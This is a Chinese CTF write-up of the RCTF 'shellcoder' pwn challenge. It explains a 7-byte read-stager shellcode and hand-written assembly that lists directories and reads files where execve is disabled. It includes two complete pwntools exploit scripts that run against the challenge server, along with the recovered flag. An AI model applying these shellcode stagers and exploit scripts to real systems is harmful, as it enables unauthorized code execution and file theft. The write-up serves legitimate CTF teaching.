RCTF shellcoder 一道很烦人的pwn题

TOC

  1. 1. 提示
  2. 2. 安全防护
  3. 3. 程序介绍
    1. 3.1. 主函数
    2. 3.2. sub_48B
  4. 4. 分析
    1. 4.1. 构造shellcode
    2. 4.2. 寻找flag
      1. 4.2.1. 深度优先遍历
    3. 4.3. 读取flag
    4. 4.4. 运行实例
  5. 5. 总结

这道题的靶机是没有execve系统调用的,而且没有glibc库,flag要靠自己手写汇编来读取。

所有文件下载:shellcoder.zip

提示

who likes singing, dancing, rapping and shell-coding?

The directories on the server looks something like this:

...
├── flag
│ ├── unknown
│ │ └── ...
│ │ └── flag
│ └── unknown
└── shellcoder

安全防护

ex@Ex:~/test$ checksec shellcoder
[!] Did not find any GOT entries
[*] '/home/ex/test/shellcoder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序介绍

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
_QWORD *v4; // rbx

alarm(60LL, argv, envp);
write(1LL, "hello shellcoder:", 17LL);
v3 = (_QWORD *)mmap(0LL, 4096LL, 7LL, 34LL, 0xFFFFFFFFLL, 0LL);
v4 = v3;
*v3 = 0xF4F4F4F4F4F4F4F4LL;
v3[1] = 0xF4F4F4F4F4F4F4F4LL;
v3[2] = 0xF4F4F4F4F4F4F4F4LL;
v3[3] = 0xF4F4F4F4F4F4F4F4LL;
read(0LL, v3, 7LL);
sub_48B(v4);
return 0;
}

这里申请了一块可以执行的内存,但是只给我们读入7个字节

sub_48B

sub_48B proc near
mov rax, 0ABADC0DEFEE1DEADh
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
jmp rdi
sub_48B endp

这里会清空环境,然后执行我们输入那7个字节

分析

  1. 考验构造shellcode的能力
  2. 考验手写汇编的能力
  3. 考验对系统调用的了解

构造shellcode

这个还是比较简单的,相对于后面的两个考验来说。

下面的shellcode就能用7个字节来完成我们的shellcode扩展:

mov dl,255
xchg rsi, rdi
syscall

由于大部分寄存器都清零了,所以我们可以直接把它当成SYS_read系统调用来用,然后注入我们的新shellcode。

但是,出题人并没有把题目出的这么简单,因为靶机的SYS_execve系统调用是被禁用了,而且如题目所示,出题人把flag藏了起来,需要我们把flag找出来。

寻找flag

下面代码的功能是从输入流读取文件夹名,然后对文件夹进行解析,最后把解析的内容输出到输出流。

如果想仔细了解这些系统调用的使用,可以参考这篇文章:Linux-手写汇编,用系统调用来读取文件夹和文件

mov dl,255
mov rsi,rsp
mov rax, 0
mov rdi,0
syscall

mov rdi, rsp
mov rsi, 0x10000
xor rdx, rdx
mov al, 2
syscall
test rax, 3

jne next
push rax
jmp over

next:
mov rdi, rax
mov rsi, rsp
mov edx, 256
mov al, 78
syscall

push rax

over:
mov edx, 256
mov rdi, 1
mov rsi, rsp
mov al, 1
syscall

深度优先遍历

利用深度优先遍历算法进行搜索。

find_flag.py:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct
import binascii
import sys
import time
import thread


context(arch='amd64', os='linux')


# sh = remote('139.180.215.222',20002)
# elf = ELF('./shellcoder')
context.log_level = "CRITICAL"
# context.log_level = 'debug'

# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass

shellcode1 = '''
mov dl,255
xchg rsi, rdi
syscall
'''

payload1 = asm(shellcode1)

shellcode2 = '''
mov dl,255
mov rsi,rsp
mov rax, 0
mov rdi,0
syscall

mov rdi, rsp
mov rsi, 0x10000
xor rdx, rdx
mov al, 2
syscall
test rax, 3

jne next
push rax
jmp over

next:
mov rdi, rax
mov rsi, rsp
mov edx, 256
mov al, 78
syscall

push rax

over:
mov edx, 256
mov rdi, 1
mov rsi, rsp
mov al, 1
syscall
'''

payload2 = 'a' * 7 + asm(shellcode2)

def get_dir(path):
result = 0

while(True):
try:
# sh = process('./shellcoder')
sh = remote('139.180.215.222', 20002, timeout=0.5)

sh.send(payload1)


time.sleep(0.2)
sh.send(payload2)

time.sleep(0.2)
sh.sendline(path + '\x00')

result = sh.recvall(0.5)
# print(result)

prefix = 'hello shellcoder:'
if(result[:len(prefix)] != prefix):
sh.close()
continue

result = result[len(prefix):]

if(len(result) != 256):
sh.close()
continue
nread = struct.unpack('Q', result[:8])[0]

result = result[8:]

bpos = 0

output = ''
while(bpos < nread):
d_reclen = struct.unpack('H', result[bpos + 16: bpos + 18])[0]

i = 0
while(ord(result[bpos + 18 + i]) != 0):
output += result[bpos + 18 + i]
i += 1
output += '\n'

bpos += d_reclen


sh.close()
return output
except Exception as e:
pass


# 把文件转换成列表
def get_list(string):
l = string.split('\n')
result = []
for v in l:
if(v == '' or v == '.' or v == '..'):
continue
result += [v]

return result


def dfs(path):
result = get_list( get_dir(path) )
if('flag' in result):
print('-'*10 + path + '/flag' + '-'*10)
exit(0)
for v in result:
new_path = path + '/' + v
print(new_path)
dfs(new_path)

argv = sys.argv

if(len(argv) == 1):
dfs('./flag')
else:
l = get_list( get_dir('./flag') )
dfs('./flag/' + l[int(argv[1])])

最后找到我们的flag地址为./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag

读取flag

知道路径之后就可以写shellcode来读flag了:

push rsi
pop rdi
add rdi, 0x80
mov rsi, 0x0
xor rdx, rdx
mov al, 2
syscall

mov rdi, rax
mov rsi, rsp
mov edx, 256
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov edx, 256
mov eax, 1
syscall

下面这段脚本的作用就是利用上面得出的flag路径来读取flag。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct
import binascii
import sys
import time
import thread


context(arch='amd64', os='linux')
# context(arch='i386', os='linux')

# sh = process('./shellcoder')
sh = remote('139.180.215.222',20002)
# elf = ELF('./shellcoder')
# context.log_level = "CRITICAL"
# context.log_level = 'debug'

# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass

shellcode1 = '''
mov dl,255
xchg rsi, rdi
syscall
'''

payload1 = asm(shellcode1)

shellcode2 = '''
push rsi
pop rdi
add rdi, 0x80
mov rsi, 0x0
xor rdx, rdx
mov al, 2
syscall

mov rdi, rax
mov rsi, rsp
mov edx, 256
mov eax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov edx, 256
mov eax, 1
syscall

'''

payload2 = payload1 + asm(shellcode2)
payload2 = payload2.ljust(0x80,'\x90') + './flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag\x00'

sh.send(payload1)


time.sleep(0.2)
# pause()
sh.send(payload2)

# 注意不要用recvall()
result = sh.recv()
print(result)

# ./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag

sh.interactive()

os.system("rm -f pid")

运行实例

[+] Opening connection to 139.180.215.222 on port 20002: Done
hello shellcoder:
[*] Switching to interactive mode
rctf{1h48iegin3egh8dc5ihu}
[*] Got EOF while reading in interactive
$

总结

一道很烦的题,主要考验我们的汇编功底。